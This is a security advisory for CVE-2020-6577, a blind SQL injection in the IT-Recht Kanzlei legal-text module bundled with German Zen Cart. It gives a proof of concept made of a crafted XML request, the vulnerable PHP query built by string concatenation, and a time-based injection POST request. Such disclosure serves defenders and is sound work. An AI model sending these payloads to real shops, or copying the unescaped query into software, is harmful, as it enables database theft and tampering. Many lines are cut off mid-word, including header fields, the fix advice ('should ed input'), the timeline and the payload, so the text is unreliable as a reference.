Advisory ID: usd-2019-0072
CVE Number: CVE-2020-6577
Affected Product: IT-Recht Kanzlei Plu
Affected Version: v1.5.6c (Zen Cart de
Vulnerability Type: SQL Injection
Security Risk: Medium
Vendor: IT-Recht Kanzlei
Vendor URL: https://www.it-recht-kanz
Vendor Status: fixed

Description

The „IT-Rechtkanzlei" module, which is included by default in German Zen Cart releases, is vulnerable to blind SQL injections. The „IT-Rechtkanzlei" offers the possibility to distribute legal texts as PDF to various webshops via its interface. The file `itrk-api.php` in the root directory of webshops such as Zen Cart can get an XML in the POST parameter with the legal texts. The `rechtstext_language` tag is dynamically embedded into an SQL query and can be used to exploit SQL injections. But in order to exploit this vulnerability, the attacker needs a valid „IT-Rechtkanzlei" token which is randomly generated while creating the webshop. Since the „IT-Rechtkanzlei" has access to those tokens, the company would be able to dump or modify the database of a Zen Cart application.

Proof of Concept (PoC)

The following request results in a blind SQL injection where the `rechtstext_language` tag is the vulnerable parameter:

```
<?xml version="1.0" encoding="UTF-8" ?>
<response>
  <action>push</action>
  <api_version>1.</api_version>
  <user_auth_token>4d03f9b873c921dbee9ce652e02e6c93</user_auth_token>
  <rechtstext_text>texttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttext</rechtstext_text>
  <rechtstext_html>htmlhtmlhtmlhtmlhtmlhtmlhtmlhtmlhtmlhtmlhtmlhtmlhtmlhtmlhtmlhtmlhtmlhtmlhtmlhtmlhtmlhtmlhtml</rechtstext_html>
  <rechtstext_language>DE</rechtstext_language>
</response>
```

The `it_recht_kanzlei_api.php` file contains the vulnerability in line 105:

```
[...]
// Catch errors - rechtstext_language
if ($xml->rechtstext_language == '') {
    $this->return_error('9');
}
// Catch errors - rechtstext_language not supported

$language_code = $xml->rechtstext_language;
$language_query = $db->Execute("SELECT languages_id, code
                                FROM ".TABLE_LANGUAGES."
                                WHERE code = '".$language_code."'LIMIT 1");
[...]
```

The query is not prepared and the `$language_code` variable is also not escaped. Therefore this results in a blind SQL injection flaw. A similar vulnerability occurs in line 222.

The following POST request would add a sleep of 5 seconds to the database query. Using this method, a blind SQL injection can be verified.

```
POST /zencart/itrk-api.php HTTP/1.1
Content-Length: 558
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Connection: close

xml=<?xml version="1.0" encoding="
<response>
  <action>push</action>
  <api_version>1.</api_version>
  <user_auth_token>7e93a79e075384
  <rechtstext_text>texttexttextte
  <rechtstext_html>htmlhtmlhtmlhtmlht
  <rechtstext_language>' AND (SELE
</response>
```


Fix

All statements and parameters should ed input.

- 2020-03-12 Effectiveness of fix verif
- 2020-03-12 Vendor informs about u
- 2021-02-22 Retesting of released fix
- 2021-02-26 Security advisory releas

Credits

This security vulnerability was discove

About usd Security Advisories

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security."

to usd AG

In accordance with usd AG's Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided „as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.